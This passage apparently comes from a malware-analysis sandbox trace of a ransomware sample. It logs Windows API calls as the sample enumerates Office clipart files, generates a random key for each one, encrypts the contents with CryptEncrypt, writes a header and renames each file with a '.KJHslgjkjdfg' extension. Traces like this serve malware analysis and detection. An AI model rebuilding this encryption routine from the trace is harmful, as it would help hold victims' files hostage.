lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.807] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.807] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.807] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.807] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.807] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.807] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.807] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd6bc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd6bc, lpOverlapped=0x0) returned 1 [0181.812] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd6c0, dwBufLen=0xd6c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd6c0) returned 1 [0181.812] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.812] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd6c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd6c0, lpOverlapped=0x0) returned 1 [0181.813] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.813] SetEndOfFile (hFile=0x114) returned 1 [0181.816] GetProcessHeap () returned 0x2a0000 [0181.816] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.816] GetProcessHeap () returned 0x2a0000 [0181.816] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287417.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287417.wmf.kjhslgjkjdfg")) returned 1 [0181.818] CloseHandle (hObject=0x114) returned 1 [0181.818] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82369200, ftCreationTime.dwHighDateTime=0x1bf58e6, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82369200, ftLastWriteTime.dwHighDateTime=0x1bf58e6, nFileSizeHigh=0x0, nFileSizeLow=0x89a4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287641.JPG", cAlternateFileName="")) returned 1 [0181.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.820] GetProcessHeap () returned 0x2a0000 [0181.820] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.820] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.820] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.820] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0181.823] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.823] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.823] GetProcessHeap () returned 0x2a0000 [0181.823] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.823] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.823] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.823] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.823] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.823] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.823] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.823] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.823] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.823] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.823] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.824] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x89a4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x89a4, lpOverlapped=0x0) returned 1 [0181.825] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x89b0, dwBufLen=0x89b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x89b0) returned 1 [0181.825] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.825] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x89b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x89b0, lpOverlapped=0x0) returned 1 [0181.825] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.826] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.826] SetEndOfFile (hFile=0x114) returned 1 [0181.828] GetProcessHeap () returned 0x2a0000 [0181.828] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.828] GetProcessHeap () returned 0x2a0000 [0181.828] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.828] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287641.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.kjhslgjkjdfg")) returned 1 [0181.830] CloseHandle (hObject=0x114) returned 1 [0181.830] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d41000, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6d41000, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x42d1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287642.JPG", cAlternateFileName="")) returned 1 [0181.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.831] GetProcessHeap () returned 0x2a0000 [0181.831] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.831] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.831] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.831] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0181.833] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.833] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.833] GetProcessHeap () returned 0x2a0000 [0181.833] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.833] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.833] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.833] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.834] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.834] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.834] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.834] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.834] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.834] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.834] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.834] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.834] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x42d1, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x42d1, lpOverlapped=0x0) returned 1 [0181.835] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x42e0, dwBufLen=0x42e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x42e0) returned 1 [0181.835] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.835] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x42e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x42e0, lpOverlapped=0x0) returned 1 [0181.835] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.835] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x43b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.835] SetEndOfFile (hFile=0x114) returned 1 [0181.838] GetProcessHeap () returned 0x2a0000 [0181.838] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.838] GetProcessHeap () returned 0x2a0000 [0181.838] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.838] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.kjhslgjkjdfg")) returned 1 [0181.839] CloseHandle (hObject=0x114) returned 1 [0181.839] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x3e91, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287643.JPG", cAlternateFileName="")) returned 1 [0181.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.840] GetProcessHeap () returned 0x2a0000 [0181.840] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.840] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.840] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.840] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0181.843] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.843] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.843] GetProcessHeap () returned 0x2a0000 [0181.843] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.843] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.843] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.843] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.843] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.843] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.843] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.843] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.843] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.844] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.844] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.844] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.844] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3e91, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3e91, lpOverlapped=0x0) returned 1 [0181.845] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ea0, dwBufLen=0x3ea0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ea0) returned 1 [0181.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.845] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ea0, lpOverlapped=0x0) returned 1 [0181.845] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.845] SetEndOfFile (hFile=0x114) returned 1 [0181.848] GetProcessHeap () returned 0x2a0000 [0181.848] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.848] GetProcessHeap () returned 0x2a0000 [0181.848] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.kjhslgjkjdfg")) returned 1 [0181.849] CloseHandle (hObject=0x114) returned 1 [0181.849] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x43c5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0287644.JPG", cAlternateFileName="")) returned 1 [0181.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.850] GetProcessHeap () returned 0x2a0000 [0181.850] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.850] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.850] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.850] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xb, lpOverlapped=0x0) returned 1 [0181.852] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.852] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.852] GetProcessHeap () returned 0x2a0000 [0181.852] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.852] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.852] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.852] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.852] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.852] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.853] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.853] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.853] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.853] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 